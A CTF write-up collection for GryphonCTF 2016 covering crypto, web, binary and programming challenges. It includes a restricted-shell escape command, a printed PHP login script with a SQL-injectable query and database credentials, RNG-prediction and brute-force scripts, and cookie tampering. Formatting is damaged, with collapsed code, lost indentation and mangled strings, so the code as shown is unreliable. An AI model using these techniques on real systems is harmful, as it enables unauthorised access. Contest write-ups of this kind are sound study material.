# CTF Writeups

This repository contains the cumulative sum of all CTF competitions I have personally joined either as part of a team or as a solo player. All codes/works by me are licensed under the AGPLv3 license. In a nutshell, it's okay to steal my code but give a little credit to me ^_^.

## Participations

This are all the CTF competitions I have participated in chronological order. Ranks/Scoreboards are as accurate as I could get them.

# GryphonCTF_2016_Write-up

Hello, this repository will serve as a write-up to the GryphonCTF competition challenges.

## Completed Challenges

Challenges without links are uncompleted/unattempted challenges (Damn it amon) Challenges appended with a [*] are challenges completed after the competition. Doesn't count. Damnit.

## Reflection

As the competition comes to a close, with JEAM losing 1st place to TRiggeRed with almost 84 points in the lead, the final scoreboard looks like this.

1 - TRiggeRed - 675
2 - JEAM - 591
3 - Chicken Tandoori - 555
4 - Team Sailou - 420
5 - Luminous Cheesecake - 395
6 - Team Dig Bick - 315
7 - NUSGreyhatsNoobs - 310
8 - chmod 000 /dism/ctf - 250
9 - novaAF - 250
10 - Antimatter - 235
11 - 2CAP||!2CAP - 228
12 - jkdj - 190
13 - Pico - 180
14 - ShoulderSurfers - 150
15 - lowkeylosers - 130
16 - Counter Logic Hacking - 125
17 - TeamIronMan - 125
18 - Comeback - 100
19 - Team ScapeGoat - 65


If there's one thing I learned during the whole competition, I don't really know binary exploitation too well and I certainly hope to be able to improve on that before the next CTF comes around. From conversations with the challenge setter (@nnamon), I learned that while modern systems are not vulnerable, IoT products given limited processing capabilities and storage capacity, are much more vulnerable to binary exploitations, so that's something interesting.

I originally intended to join this competition as a solo player but because of team size requirements, I recruited @zst123 (Manzel) and two other people just to meet the team size of 4. Throughout the competition, I've also come to realize that having more minds equals to having more perspectives to take on challenges, especially challenges of a black box nature. @zst123 has helped a fair bit in giving his own perspective and that I appreciate greatly.

To sign off this reflection, I would like to add how salty I feel about team TRiggeRed utilizing hidden flags at the last minute. Very very salty.

P.S. @Deathline78 should be banned eternally from setting challenges.

Sincerely, Amos Ng @LFlare

# GryphonCTF_2016: Bin 1

Category: Bin Points: 15 Description:

QR didn't do so well for his examination. So he went to his reflector and reflect on what he can do better. QR is very sad. ;_;

## Write-up

Very simply, open up the given file, in a hex editor. Look for the GCTF flag.

Therefore, the flag is GCTF{pl5_53cur3_y0ur_d07_n37}.

# GryphonCTF_2016: Bin 2

Category: Bin Points: 25 Description:

It's easy. No hints for you this time round. :D Creator - Chen Qiurong (@pc84560895

## Write-up

Firstly, strings bin2.exe reveals a fake flag. GCTF{Not_So_Easy}. Opening the EXE and entering the string SwegLord_1996 gives you the flag b1n4ry_15_50_51mple3.

Therefore, the flag is GCTF{b1n4ry_15_50_51mple3}.

# GryphonCTF_2016: The Keymaker

Category: Crypto Points: 30 Description:

You've intercepted an encrypted flag that was being transmitted between two GCTF admins, along with a 256-bit RSA public key that was used in the encryption of the flag... Creator - Shawn Pang (@Optixal)

## Write-up

DISCLAIMER: TOOLS WERE USED, CREDITS TO @Ganapati ON GITHUB

Okay, this around, we are given a ciphertext and a public key. It appears that the public key happens to be a short, 256-bit RSA key and thus we can search up ways to break RSA keys. As most people reading this should know, current standards of RSA keys are currently at 2048-4096 bits and bitsizes of below 2048 should never be used.

Since we have a 256-bit key, we can take advantage of a well-known exploit on the RSA algorithm known as the Wiener's attack. As of this writing, I'm no expert in cryptography but what I do have are skills in Google. Googling, to be exact, led me to a certain git repository. Simple enough, downloading it and running,

./RsaCtfTool.py --publickey ~/Downloads/pub_key.txt --uncipher ~/Downloads/flag_ciphertext
Clear text : GCTF{1f_0nly_17_w45_1n_1337}


Voila!~ Therefore, the flag is GCTF{1f_0nly_17_w45_1n_1337}.

P.S On hindsight, I probably could've tried to make my own script knowing the algorithms, too lazy.

# GryphonCTF_2016: Poems

Category: Cryptography Points: 15 Description:

This flag does not follow the GCTF{} format Hints: Look for patterns Creator - Darren Ang (@Southzxc)

## Write-up

A pretty good challenge, this time around we are given a text file. Using an online tool like (quipqiup)[http://quipqiup.com/], run the crack process till you get something legible. In this case, after many attempts at making sense of the poem, you get a something that sounds strange like, if you don't get something like this, just continue matching the ciphertext with what you know are clues, like 'camaqagiax=cemeteries'

T there HareEcemeteries that are lonely, F grave sLfullAofG zones that do not make a sound, I the Sheart moving through a tunnel, HinO it W darkness, D darkness,Y darkness,_ like MaRshipwreck_ we die going into ourselves, TasH thoughOw eM were A drowningS inside_ our heart s,Eas D though I we S lived Of alling Nout of the skin into the soul.

Searching the phrase, we die going into ourselves returns a poem. Looking further, you can then isolate the paragraph,

There are cemeteries that are lonely, graves full of bones that do not make a sound, the heart moving through a tunnel, in it darkness, darkness, darkness, like a shipwreck we die going into ourselves, as though we were drowning inside our hearts, as though we lived falling out of the skin into the soul.

Does this seem very similar to the poem we are given?

If we try using the tool again, but this time around giving it clues like, vonavy=lonely the decoded message becomes clearer and clearer, until you are left with.

Tthere Hare Ecemeteries that are lonely, Fgraves Lfull Aof Gbones that do not make a sound, Ithe Sheart moving through a tunnel, Hin Oit Wdarkness, Ddarkness, Ydarkness, _like Ma Rshi~wreck _we die going into ourselves, Tas Hthough Owe Mwere Adrowning Sinside _our hearts, Eas Dthough Iwe Slived Ofalling Nout of the skin into the soul

Take the capital letters and you get,

THE FLAG IS HOWDY MR THOMAS_ EDISON

What did you know?

Therefore, the flag is GCTF{HOWDY_MR_THOMAS_EDISON}

# GryphonCTF_2016: pr0_5k473r

Category: Crypto Points: 10 Description:

pr05k473r1337 is so cool! He grinded 5 railings in a row! Creator - Darren Ang (@Southzxc)

## Write-up

We are given a text file. Inside it, we have Gp7nnCm7py0_3cTuym__7f3Fh_u57h_}{d43. To get the flag, you need to take a look at the description and we know that it's 5 railings. Immediately, think of the Railfence cipher. We know it's 5 rows, thus we ge this.

Gp7nnCm7py0_3cTuym__7f3Fh_u57h_}{d43

G       p       7       n       n
C     m 7     p y     0 _     3 c
T   u   y   m   _   _   7   f   3
F h     _ u     5 7     h _     }
{       d       4       3


Therefore, the flag is GCTF{hump7y_dump7y_547_0n_7h3_f3nc3}.

# GryphonCTF_2016: Jack and the Beanstalk

Category: Cryptography Points: 20 Description:

Jack is giving away free magical beans! Play it here: nc play.spgame.site 9999 Creator - Kelvin Neo (@deathline75)

Hint:

Jack planted seeds already. Jack also owns 2 pythons

## Write-up

DISCLAIMER: This write-up for this challenge is a painful one.

This time around, we are given a challenge where we have to guess the next number, consecutively for 10 times. Firstly, I tried running a bruteforce script to open and reopen connections to generate a list of numbers and what follows behind that number. This is similar to neural networking, in particular something called Markov Chain.

I then extended the chain to something around 7 integers long but it was not possible to get up to 10 times correct. So, that brings us back to square one. If the bruteforce method doesn't work, it means the numbers generated are completely random, or is it?

Looking back at the question hint, we see that 'Jack' has planted the seeds already. Additionally, Jack also owns 2 pythons. If we take it literally, we won't understand anything but since this challenge is under cryptography and that we are supposed to guess the next number, we can take it to heart that this is, in fact, a RNG.

Looking at the hint again, '2 pythons' could mean Python language and 'planted seeds' could mean that the RNG has been seeded already. Knowing that, we can devise a simple script to test it.

#! /usr/bin/env python
##
import socket
import re
import random

s = socket.socket()
s.connect(('play.spgame.site', 9999))
r = random.Random()

while True:
data = s.recv(4096)
if data != "":
print("RECV>>>" + data.strip())
if "number is" in data:
try:
number = int(re.findall('[0-9]+', data)[1])
except IndexError:
number = int(re.findall('[0-9]+', data)[0])

r.seed(number)
s.send(str(r.randint(1, 100)) + "\n")


Running the script gives us,

$./test.py RECV>>>My numbers are always between 1 (inclusive) to 100 (inclusive)! RECV>>>Guess my number 10 times and you get a prize! My number is: 95 Guess my next number: RECV>>>Well done! RECV>>>My number is: 52 Guess my next number: RECV>>>Oh no! That's not my number!  Running the script multiple times changes nothing, with the first number being an automatic success. So, what's going on? Well, after hours of constant testing different combinations like seeding the random number generator with the sum of the new number and the previous number, the new number with an exponent of the previous number and approximately 100 (slightly exaggerated) other combinations. That still yielded nothing. So, new plan, this time around, I took the first number, seeded with ONLY the first number and just echo out the randint(1, 100). #! /usr/bin/env python ## import socket import re import random s = socket.socket() s.connect(('play.spgame.site', 9999)) r = random.Random() seeded = False while True: data = s.recv(4096) if data != "": print("RECV>>>" + data.strip()) if "number is" in data: try: number = int(re.findall('[0-9]+', data)[1]) except IndexError: number = int(re.findall('[0-9]+', data)[0]) if not seeded: r.seed(number) seeded = not seeded response = str(r.randint(1, 100)) + "\n" print(response) s.send(response)  Amazingly, this happened. $ ./test.py
RECV>>>My numbers are always between 1 (inclusive) to 100 (inclusive)!
RECV>>>Guess my number 10 times and you get a prize!
My number is: 3
Guess my next number:
24
RECV>>>Well done!
RECV>>>My number is: 55
Guess my next number:
55
RECV>>>Oh no! That's not my number!


Do you see it? My next number guess for number 2 also happens to be the 2nd number! Repeating the script returns the same thing,

RECV>>>My number is: 56
Guess my next number:
56


We might be on to something here. Now I try to make it the random number generator dump an integer off. As it appears, the number we get from the server is every alternate number, so we just have to dump one integer off to get the correct next guess.

if not seeded:
r.seed(number)
seeded = not seeded

response = str(r.randint(1, 100)) + "\n"
r.randint(1, 100)
print(response)
s.send(response)


Viola!

$./test.py RECV>>>My numbers are always between 1 (inclusive) to 100 (inclusive)! RECV>>>Guess my number 10 times and you get a prize! My number is: 5 Guess my next number: 63 RECV>>>Well done! RECV>>>My number is: 75 Guess my next number: 80 RECV>>>Well done! RECV>>>My number is: 95 Guess my next number: 74 RECV>>>Well done! RECV>>>My number is: 93 Guess my next number: 3 RECV>>>Well done! RECV>>>My number is: 47 Guess my next number: 95 RECV>>>Well done! RECV>>>My number is: 65 Guess my next number: 91 RECV>>>Well done! RECV>>>My number is: 12 Guess my next number: 47 RECV>>>Well done! RECV>>>My number is: 25 Guess my next number: 55 RECV>>>Well done! RECV>>>My number is: 58 Guess my next number: 2 RECV>>>Well done! RECV>>>My number is: 22 Guess my next number: 28 RECV>>>Well done! RECV>>>This is my prize to you: GCTF{[email protected]_700_str0nk}  Therefore, the flag is GCTF{[email protected]_700_str0nk}. Script to automatically and beautifully crack this challenge linked here. # GryphonCTF_2016: Shark Web Category: Web Points: 10 Description: One of our admins was testing his secret web page in the organisation's internal network. A very skilled hacker listened to his packets.. Can you sniff his credentials from it..? Play at http://play.spgame.site:9995 Creator - Chen Qiurong (@pc84560895) ## Write-up This time around, we get a PCAP file. We can use a tool like WireShark. Opening the file and opening packet #4, you notice two fields user and pass. Could they be the credentials? Entering the username IwannaWatch and password SumMovies into the page at http://play.spgame.site:9995/, you get a page with the flag. Therefore, the flag is GCTF{3ncryp7_y0ur_c0nn3c710n}. # GryphonCTF_2016: IWanTix2 Category: Web Points: 30 Description: Get into the organiser's network and generate tickets so you can sell it at a very low price to our dear admin QR! Play at http://play.spgame.site:8002 Creator - Kelvin Neo (@deathline75) Creator - Chen Qiurong (@pc84560895) ## Write-up This time around, we are given a url that leads to a very snarky reply by the web server. Didn't your parents tell you not to look at unauthorised pages? Unless you are an administrator, then please login locally.  Opening up Developer's Console in Chrome reveals a delicious header. Credentials:Look out for port 8001,user:webadmin,pass:webadmin  Connecting to port 8001 via browser, you get nothing! Or a weird OpenSSH version header anyways. So, we try to connect to it via shell. $ ssh [email protected] -p 8001

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Oct 12 14:55:07 2016 from 103.26.223.115
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
webadmin:~$ Viola! Well, now we are in a limited shell. What do we do now? Hmm... webadmin:~$ ?
clear  exit  help  history  lpath  lsudo
webadmin:~$ Upon further researching, it appears we are in a limited shell, or lshell, in short. Doing some research on CVEs, we find an exploit for lshell. webadmin:~$ echo && 'bash'
[email protected]:~$ Woah there! [email protected]:/var/www/html$ cat .htaccess
ErrorDocument 403 /403.html
order deny,allow
deny from all
allow from 127.0.0.1 localhost
[email protected]21541c:/var/www/html$cat index.php <html> <body> <p> Welcome to the Eason Chan concert ticket generator <br /> Submit the right secret key to get access to it! </p> <form action='login.php' method='post'> Secret Key:<input type='password' name=secret_key> <input type='submit' value='Enter'> </body> </html> [email protected]:/var/www/html$ cat login.php
<?php

$servername = "db-iwantix2";$username = "iwantix2";
$password = "iwantix22";$dbname = "iwantix2";

$conn = new mysqli($servername, $username,$password,$dbname); if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error); } # Get POST Request..$secret_key = $_POST['secret_key'];$sql = "SELECT * from secret_key where secretkey = '$secret_key'";$result = $conn->query($sql);

if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { echo 'Nice! You can generate as many tickets as you want now!!<br />'; echo "Here's your flag! You're most welcome.<br />"; echo "GCTF{7unn3l_4nd_1nj3c7}"; } } else { echo "Hahahahaha! No! You cannot generate ticket!"; } ?>  Epic motherload right there. Therefore, the flag is GCTF{7unn3l_4nd_1nj3c7}. EDIT: This was actually a bug and team JEAM was awarded 3 points for the discovery and report of this bug. What misers the organizers are. EDIT2: This was supposd to be solved via ssh [email protected] -p 8001 -L 1337:localhost:8002, accessing localhost:1337 and injecting SQLi code. Well, I think my method was abit more epic. # GryphonCTF_2016: HARAMBE Category: Web Points: 15 Description: Harambe is love. Harambe is life http://play.spgame.site:9998 Creator - Kelvin Neo (@deathline75) ## Write-up A simple challenge this one, we just have to view the source to figure out the logic. <?php if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (empty($_POST["name"])) { echo '<script>alert("name variable is empty!")</script>'; } elseif (empty($_POST["comment"])) {
} else {
echo 'Well done, here is your flag: ';
}
}
?>


So we need to just POST comment and name variables into index.php.

        <div class="guestform">
Well done, here is your flag: GCTF{c0mm3n75_4r3_73rr1bl3_pl4c3h0ld3r5}          <h4>Someone keeps posting stupid comments, so the form is disabled for now.</h4>
<div>
<div class="full-comment">
<div class="name">


Therefore, the flag is GCTF{c0mm3n75_4r3_73rr1bl3_pl4c3h0ld3r5}

# GryphonCTF_2016: God of Gamble

Category: Web Points: 20 Description:

Hey, wanna try to win the god of gamble? Try harder!!! Try it on http://play.spgame.site:9996/ Creator - Chen Qiurong (@pc84560895)

## Write-up

Credits to @zst123 [Manzel Seet] for writing the script.

Basically, spam till you get flag. It's that simple, I swear.

# GryphonCTF_2016: IWanTix

Category: Web Points: 15 Description:

One of our admin really wants to watch Eason Chan's concert, but the organiser will only release their sales after 7th of November 2016. Can you help him to get the concert ticket in advance? Please..? ;_; Play at http://play.spgame.site:9994 Creator - Chen Qiurong (@pc84560895)

## Write-up

Loading the site brings you a HTML 1.0 designed site. Horrible. Bringing up [Inspect Tools] in Google Chrome shows you that the server sends back the cookie currentTime=1475866712. That is unix timestamp in a nutshell, use a unix timestamp converter and get the timestamp for 8 Nov 2016, which is 1480464000.

Afterwards, open up console and run, document.cookie = "currentTime=1480464000". Following that, refresh the page. Now the page changes and you get the first half of the cookie. To get the second half, open up [Inspect Element] and deleted the disabled attribute on the button.

Clicking the button brings you to the other half of the cookie.

Therefore, the flag is GCTF{cl13n751d3_v4l1d4710n_5uckz}.

# GryphonCTF_2016: Hide and Seek

Category: Programming Points: 30 Description:

Welcome to Hide and Seek. Hiders code to hide, seekers seek to capture the flag. Are you a hider or a seeker? (https://youtu.be/B4pWdmaCO0Q?list=RDB4pWdmaCO0Q) ~ if you're up for some Nerve vibes ~ Creator - Shawn Pang (@Optixal)

## Write-up

We are given an image.

Holy shit. Did you see that? Is that...

You cannot be serious. No you cannot be.

Well, thankfully, I am not. This is a programming question after all! We know two things, firstly, we have a shit ton of QR codes and that we cannot possibly scan them all. So, we take advantage of our l33t skills and do a few things.

Firstly, we want to separate out the QR codes and crop out all the spam. You can use anything to do this, Photoshop or Preview.

Nice, then we need to think, if each QR code is 33x33 and that we have a size of 330x2145. So we have an approximate 650 QR codes to actually manually scan but since we are l33t people, we do not. We can take advantage of libraries like Pillow and zbarlight.

After coding a script, and running it,

$./script.py QR: GCTF{w3_h4v3_f0und_y0u_!}  Therefore, the flag is GCTF{w3_h4v3_f0und_y0u_!}. Full script found here. # GryphonCTF_2016: The Forest Category: Programming Points: 50 Description: It is time to test your 1337 skills of doing assembly in your head. You get ten seconds to evaluate the given x86-64 code listing and give us the value of the register that has been randomly chosen from those modified. Assembly! Again, and again, and again, and again, and again... ## Write-up As the challenge description goes, we need to evaluate the given x84-64 assembly code and return the value of the register randomly selected. For 200 times. If you tried doing this in your head, I applaud you, simply because, ==== 200/200 ==== xor rdx, rsi add edx, edx xor eax, 0xb8f4e2 mov rbx, 0x18781004fdca0ede mov ebx, edx mov rcx, 0x47a64db738b73d65 lea esi, [rbx+rax] mov edx, esi and rbx, rbx xor rsi, rdx lea rsi, [rbx+rax] add edi, 0x490e8d sub edi, 0xd09331 and ecx, 0xd3d93b and ecx, 0x7b3147 push rdx xor eax, 0x7b8d46 add edx, 0x2112c5 mov eax, esi xor edx, edx mov esi, 0xe28e5d23fea53496 lea ecx, [eax+0x23c005] add rcx, 0x59accd and rbx, rdi add rcx, rcx mov rsi, rcx xor ecx, edx push rdx sub ecx, 0xccd275 mov edi, 0xb83649e57125aff pop rax mov edi, ebx and rsi, rdi and ebx, esi push rcx lea rax, [edx+eax] and ebx, 0xdf99a5 mov rcx, rcx add eax, 0x3a227 xor ebx, 0x539bd9 pop rdi lea rcx, [edx+0xfff539] lea ecx, [rdx+0x29fa14] pop rbx inc rsi lea edx, [edi+0x690cd7] lea rsi, [rsi+0xe89a6b] mov rbx, rax mov edi, eax push rcx push rsi lea esi, [edx+edx] sub esi, 0xeb3ff9 pop rax add rdx, rax add rbx, 0xcabc14 add edi, ebx add rsi, 0x5e5c5d inc rsi sub rdx, 0xb333f8 lea rax, [rsi+rbx] lea rax, [ecx+ebx] push rcx xor eax, 0xd860e1 xor ecx, 0xeca0a8 add rcx, 0x53772d lea rdx, [rcx+rsi] lea rsi, [rdi+rdx] sub ecx, esi lea rsi, [edi+ecx] and rsi, rdi mov esi, eax and rcx, 0xe52d8 add rax, rdx lea ecx, [ecx+eax] xor rcx, 0xad1fc6 push rdx lea rdi, [edx+ebx] and edx, edx add esi, edi and edx, 0xfaa4c7 lea rsi, [rdi+0xa38903] inc rdi and rcx, 0x5cce3 sub edx, ebx mov ebx, edi lea rsi, [rsi+rbx] mov ecx, edx inc rdx lea esi, [rbx+0xdf259f] add rax, rdx lea rsi, [ebx+0x1a6f] lea rsi, [rdi+0x7b4c0b] and rax, rsi inc rdi lea rbx, [rdx+0x1ae3f4] lea rsi, [rdx+rdi] sub esi, 0x56dbb8 add rsi, 0x9d35e5 add eax, edx add edi, esi pop rbx add ebx, 0xf18bf5 sub edi, 0x823ae2 mov edx, ebx add edi, ecx xor rsi, 0x3707c7 inc esi and eax, ecx sub rbx, 0xfc8030 xor esi, eax and rbx, 0xfa3cf4 mov eax, ebx push rcx xor edx, 0x75c2c add rdx, rdi add edi, 0x8f1f83 push rsi add rdi, rdx pop rcx add eax, ebx and rcx, rcx and esi, 0x9c3d6f and ecx, 0xaf5149 lea rdx, [ebx+0xa8150c] xor edx, 0xba2a9d mov rbx, 0x9308aa2cd80fcd13 inc ecx push rcx push rdx and eax, 0xd4ed lea ecx, [ebx+edx] sub edi, edi lea rdi, [rdx+0x719b4e] lea edi, [edi+edx] lea ebx, [rdi+rax] sub rdi, rcx mov rdi, rbx xor rdi, 0xdf8561 and rbx, rdi add esi, ecx xor ecx, 0xd54069 mov edx, 0x59560b73babacdab xor rdx, rdi sub edi, edx mov rsi, rbx xor edi, edi sub rbx, rdi and ebx, 0x87f93b pop rdi xor eax, 0x7ffef7 xor esi, 0x84ffec pop rdx mov edx, edi add rsi, rdi inc rcx pop rcx add esi, 0x67ce21 add rdx, 0xd999e and edi, 0xefb0ec xor esi, edx add eax, edi push rdi mov esi, ebx xor rdx, rax pop rbx push rdi xor rax, 0x55ead2 inc rax xor esi, 0xcb46f push rdi push rax lea rbx, [rbx+0xc2917d] and rdi, 0x50f7c4 push rdx add eax, 0xd14be4 push rdi add eax, esi mov ecx, esi xor rax, rax mov esi, ebx pop rax and esi, 0x64983e lea edx, [rsi+rdi] xor rcx, 0x5ea9f4 xor rax, 0x3a6f39 mov edx, edx lea edx, [esi+0x537f04] sub rbx, rdx inc rbx inc rdi xor rbx, rsi inc rdx xor ecx, edx lea eax, [ecx+0x7a6a18] xor rsi, 0x7f2c11 lea rax, [rsi+0xfa1c3a] xor ebx, 0x72141 xor rbx, rdi and ebx, eax lea edi, [rcx+rbx] inc rax xor ebx, ecx xor rax, 0xc99bf8 rdi:  was the length of the 200th iteration. To solve this, you need to understand how to compile machine code, specifically, x86-64 code. You could try writing your own language interpreter for ASM, or you could just script nasm and ld into your code. Firstly, make a template. asm_header = """global start section .data section .text start: """ asm_footer = """ je exit exit: mov eax, 01h ; exit() xor ebx, ebx ; errno int 80h"""  Then, connect to the server and obtain JUST the ASM part. Contanectate the asm_header, the asm_code and the asm_footer, write it to a file, preferably with an extension .asm and call commands like $ nasm -f elf64 code.asm
$ld code.o  This compiles code.asm to code.o and then compiles code.o to a.out. Following that, you can now try running lldb as a debugger. $ lldb a.out


Setting a breakpoint at the exit function, allows you to view the register before it exits.

(lldb) b exit
Breakpoint 1: where = a.outexit, address = 0x000000000040039e


Try running and you get,

(lldb) run
Process 12213 launched: '/root/forest/a.out' (x86_64)
Process 12213 stopped
* thread #1: tid = 12213, 0x000000000040039e a.outexit, name = 'a.out', stop reason = breakpoint 1.1
frame #0: 0x000000000040039e a.outexit
a.outexit:
-> 0x40039e:  movl   $0x1, %eax 0x4003a3: xorl %ebx, %ebx 0x4003a5: int$-0x80


Now, dump the register by running, register read.

(lldb) register read
General Purpose Registers:
rax = 0x0000000001f0438c
rbx = 0x0000000000ef22b4
rcx = 0x0000000000c632a6
rdx = 0x0000000000940f2d
rdi = 0x0000000000ef42b8
rsi = 0x00000000003fbc39
rbp = 0x0000000000000000
rsp = 0x00007ffc5e9603b0
r8 = 0x0000000000000000
r9 = 0x0000000000000000
r10 = 0x0000000000000000
r11 = 0x0000000000000000
r12 = 0x0000000000000000
r13 = 0x0000000000000000
r14 = 0x0000000000000000
r15 = 0x0000000000000000
rip = 0x000000000040039e  a.outexit
rflags = 0x0000000000000202
cs = 0x0000000000000033
fs = 0x0000000000000000
gs = 0x0000000000000000
ss = 0x000000000000002b
ds = 0x0000000000000000
es = 0x0000000000000000


See how it's all nicely laid out for us? We can shorten the lldb command to just simply

$lldb -o 'b exit' -o run -o 'register read' -o 'script import os; os._exit(1)' a.out Current executable set to 'a.out' (x86_64). Breakpoint 1: where = a.outexit, address = 0x000000000040039e (lldb) Process 12586 launched: '/root/forest/a.out' (x86_64) General Purpose Registers: rax = 0x0000000001f0438c rbx = 0x0000000000ef22b4 rcx = 0x0000000000c632a6 rdx = 0x0000000000940f2d rdi = 0x0000000000ef42b8 rsi = 0x00000000003fbc39 rbp = 0x0000000000000000 rsp = 0x00007ffe6a1829a0 r8 = 0x0000000000000000 r9 = 0x0000000000000000 r10 = 0x0000000000000000 r11 = 0x0000000000000000 r12 = 0x0000000000000000 r13 = 0x0000000000000000 r14 = 0x0000000000000000 r15 = 0x0000000000000000 rip = 0x000000000040039e a.outexit rflags = 0x0000000000000202 cs = 0x0000000000000033 fs = 0x0000000000000000 gs = 0x0000000000000000 ss = 0x000000000000002b ds = 0x0000000000000000 es = 0x0000000000000000  Now, we can all script it together in a python script. You can choose to run a regex through the output of lldb to get pairs of register and hex value. You realize that there is no eax and similar registers, because they are 32bit registers. You can generate their values by running 0xFFFFFFFF AND operation before storing it in the 32 bit 'register'. However, somewhere along the lines of 80+ tries, it stops working. ld: warning: cannot find entry symbol _start; defaulting to 0000000000400080 Traceback (most recent call last): File "./script.py", line 87, in <module> question = get_question(data) File "./script.py", line 34, in get_question return re.findall('(?:\n)([a-z]{3})(?:\:)', data)[0] IndexError: list index out of range  This is caused by server-side sock buffer and thus you can solve it via, data = "" while ':' not in data: data += s.recv(4096)  to ensure that as long as the question is not asked, keep receiving data. You can view the full script I used here. Therefore, the flag is, GCTF{cau53_b0y5_d0nt_cry}. # GryphonCTF_2016: Pokemon Gryphon Category: Programming Points: 35 Description: Our brand new take on Pokemon Go! Can you catch them all? Don't get caught spoofing though! nc play.spgame.site 8000 to start playing! Commands: catch - when a Pokemon appears near you spoof x,y - e.g. spoof 56,-35 to spoof GPS co-ords to x=56, y=-35 (integers only) Creator - Shawn Pang (@Optixal) ## Write-up Credits to @zst123 [Manzel Seet] for writing the original script. (I rewrote it nicer though) So in this time around, you have to script the site. You can't be caught spoofing though! Furthermore, YOU MUST CATCH THEM ALL! script # GryphonCTF_2016: Anomaly Category: Programming Points: 25 Description: I have made this file by using SHA-512 512 times on every number from 1 to 1000000. The first round uses the string format of the number while subsequent rounds uses the hex digest of previous rounds. However there are some anomalies in the file when Qiurong ran the same program. Can you find out the anomaly for me? Alternative (faster) download link WARNING: 123MB file Creator - Kelvin Neo (@deathline75) ## Write-up A WONDERFUL CHALLENGE BY @DEATHLINE75 /s. We have a file, about 1000000 lines long and it's big and thus I won't be giving a download link. First up, we generate our own file to check back with the given file. import hashlib hashes = [] for i in range(1000000): hash = str(i) for iters in range(512): hash = hashlib.sha512(hash).hexdigest() with open('hashes.txt', 'w') as file: for line in hashes: file.write(line + '\n')  Comparing the two files, we get, === 51078 ====== 79e14f7e16192678e4f202aaac5d0ec8d90f28a4ebe467588f175abdc601678d6544f977c81eba9d1c4a95c34fda85752b19098b827f2bbc876db1553617ca96 != 79e14f7e16192678e4f202aaac5d0ec8d90f28a4ebe467588f175abdc601678d6544f977c81eba9d1c4a95c34fda85752b19098b827f2bbc876db1553617ca4f === 53477 ====== cd86dd387a943bb25b2fd81ba88ec1f9cdbcbfc3ab3d9ecd1c762a55920bb3f3a3a783b86c20708d8cbc357968dc7f2680f3d9f6de140a86de22806d5848c7f4 != cd86dd387a943bb25b2fd81ba88ec1f9cdbcbfc3ab3d9ecd1c762a55920bb3f3a3a783b86c20708d8cbc357968dc7f2680f3d9f6de140a86de22806d5848c837 === 165716 ====== 82e98cd1d1f9a0e33b8a0442f6f33a32e15f18a716f81307c1dee6bc854f42dc0e83cfdd83be2ebcc5bca8b97d02762d04160948e030e259b545c0e11a66711a != 82e98cd1d1f9a0e33b8a0442f6f33a32e15f18a716f81307c1dee6bc854f42dc0e83cfdd83be2ebcc5bca8b97d02762d04160948e030e259b545c0e11a6670c6 === 244162 ====== 86f5a78aa20de48dabadb5868386e01fdd793292217e77fd8f8de2e3863b9d3f811fe8b6c5d85446355f187d3ef7774595a382ce163699826c0d2e8008ca9251 != 86f5a78aa20de48dabadb5868386e01fdd793292217e77fd8f8de2e3863b9d3f811fe8b6c5d85446355f187d3ef7774595a382ce163699826c0d2e8008ca920b === 256030 ====== 7dab38088e97401ab1ee3d6389c49047eb23b10895f78299487d3fedbc54ca3cb127910c111c06082addb396f5957c0c9038d725a76999048a2d62620eb8ee4e != 7dab38088e97401ab1ee3d6389c49047eb23b10895f78299487d3fedbc54ca3cb127910c111c06082addb396f5957c0c9038d725a76999048a2d62620eb8edd3 === 259971 ====== 2d3d1644ac279cfe75a36cfb2ea53c16622fbec3716884df120f1bc9aafd47c48e3f9aee16e32512057bf656cf40d5a6392b9efa82a6fc21beb859c09a853a9a != 2d3d1644ac279cfe75a36cfb2ea53c16622fbec3716884df120f1bc9aafd47c48e3f9aee16e32512057bf656cf40d5a6392b9efa82a6fc21beb859c09a853acf === 339025 ====== dcd2acaa313c861acb7c4d3128df2b8035c3a3124d9f9554cb95d88686fa20dffa6379e7e04dcece28d0c21f0907af8cc4792f6b259d9cf5a6ab74792b8d9c7d != dcd2acaa313c861acb7c4d3128df2b8035c3a3124d9f9554cb95d88686fa20dffa6379e7e04dcece28d0c21f0907af8cc4792f6b259d9cf5a6ab74792b8d9ce5 === 423605 ====== b15d73389d194feea6eb4a27e52f52cd7b86033746d0f0c27c2c8a50a593b94c101a49073e4fc6313f52298719ce2236f40739140d713eafb20eddfb42ba3dae != b15d73389d194feea6eb4a27e52f52cd7b86033746d0f0c27c2c8a50a593b94c101a49073e4fc6313f52298719ce2236f40739140d713eafb20eddfb42ba3de2 === 434116 ====== 79c827550005100f4604d48c4057cad429c47785f8725f444915a6fdf7b7ae15232ceee4ed08fc64714c7c3a9bf2409f3ed095d4f479e1458f16f00175f2379a != 79c827550005100f4604d48c4057cad429c47785f8725f444915a6fdf7b7ae15232ceee4ed08fc64714c7c3a9bf2409f3ed095d4f479e1458f16f00175f2376d === 442288 ====== 8fa90152c8419a4b8953e9140731f0218b53968d5475926a0ff319e6a0c2dd65a6ea57713a765434d87fbec32d8373856fa85fb716dd02f6262f6ad8e64277ce != 8fa90152c8419a4b8953e9140731f0218b53968d5475926a0ff319e6a0c2dd65a6ea57713a765434d87fbec32d8373856fa85fb716dd02f6262f6ad8e642775c === 480014 ====== 698c4f43443a84d575c45417afc8c6834d42c61405e5f3d13e99f387519b807630401677284cc90b4b89779f244adbc5c7d7d5670db7f14166c8b8ddc1bfe521 != 698c4f43443a84d575c45417afc8c6834d42c61405e5f3d13e99f387519b807630401677284cc90b4b89779f244adbc5c7d7d5670db7f14166c8b8ddc1bfe4af === 518215 ====== ea583b10dc85bbdd1b4a3d8c26da477edd974420dc6118585eab9f644ca6d259ce3f425fef486c884c6574b7b2478743e8aa092e1beebad8eb9e3e39453bbd19 != ea583b10dc85bbdd1b4a3d8c26da477edd974420dc6118585eab9f644ca6d259ce3f425fef486c884c6574b7b2478743e8aa092e1beebad8eb9e3e39453bbd92 === 523064 ====== 44416ef05be7876d3ae98a0d9d5e383a6e7b89a83cfb20f2ea976dd78f3309a6b53123b4b3013bc2157ca9ab4f593bd2cd65278c18aae3b588ede6296a3cfedc != 